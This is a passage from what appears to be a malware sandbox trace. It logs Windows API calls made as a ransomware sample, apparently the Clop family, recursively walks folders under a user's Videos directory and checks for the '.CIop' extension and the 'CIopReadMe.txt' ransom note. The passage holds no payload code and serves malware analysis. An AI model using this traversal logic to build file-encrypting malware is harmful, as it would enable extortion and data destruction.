returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0169.206] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.206] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0169.206] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0169.206] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0169.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0169.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0169.206] SetErrorMode (uMode=0x1) returned 0x1 [0169.206] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0169.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0169.206] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0169.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0169.206] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0169.206] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0169.207] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0169.207] lstrlenW (lpString=".CIop") returned 5 [0169.207] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.207] lstrlenW (lpString=".CIop") returned 5 [0169.207] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0169.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0169.207] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0169.207] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0169.207] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0169.207] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0169.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0169.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0169.207] SetErrorMode (uMode=0x1) returned 0x1 [0169.207] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0169.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0169.207] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0169.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0169.207] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dc38 [0169.207] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0169.207] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0169.207] lstrlenW (lpString=".CIop") returned 5 [0169.207] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.207] lstrlenW (lpString=".CIop") returned 5 [0169.208] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0169.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0169.208] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0169.208] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0169.208] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0169.208] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0169.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0169.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0169.208] SetErrorMode (uMode=0x1) returned 0x1 [0169.208] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0169.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0169.208] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0169.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0169.208] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67ddb8 [0169.208] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0169.208] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0169.208] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.208] lstrlenW (lpString=".CIop") returned 5 [0169.208] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0169.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0169.208] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0169.208] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0169.208] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0169.209] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.209] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0169.209] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0169.209] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.209] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0169.209] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0169.209] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.209] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.209] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0169.209] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0169.209] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0169.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0169.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0169.209] SetErrorMode (uMode=0x1) returned 0x1 [0169.209] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0169.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0169.209] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0169.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0169.209] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67ddb8 [0169.209] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0169.209] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0169.209] lstrlenW (lpString=".CIop") returned 5 [0169.209] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.210] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0169.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0169.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0169.210] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0169.210] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0169.210] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0169.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0169.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0169.210] SetErrorMode (uMode=0x1) returned 0x1 [0169.210] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0169.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0169.210] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0169.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0169.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0169.210] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0169.210] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.210] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.210] lstrlenW (lpString=".CIop") returned 5 [0169.211] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0169.211] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0169.211] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0169.211] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0169.211] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0169.211] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.211] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.211] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.211] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0169.211] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 [0169.211] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0169.211] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0169.211] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0169.211] SetErrorMode (uMode=0x1) returned 0x1 [0169.211] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0169.211] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0169.211] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0169.211] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0169.211] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0169.211] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0169.211] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0169.211] lstrlenW (lpString=".CIop") returned 5 [0169.211] lstrlenW (lpString=".CIop") returned 5 [0169.211] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.211] lstrlenW (lpString=".CIop") returned 5 [0169.212] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0169.212] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0169.212] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0f8 [0169.212] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0169.212] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: 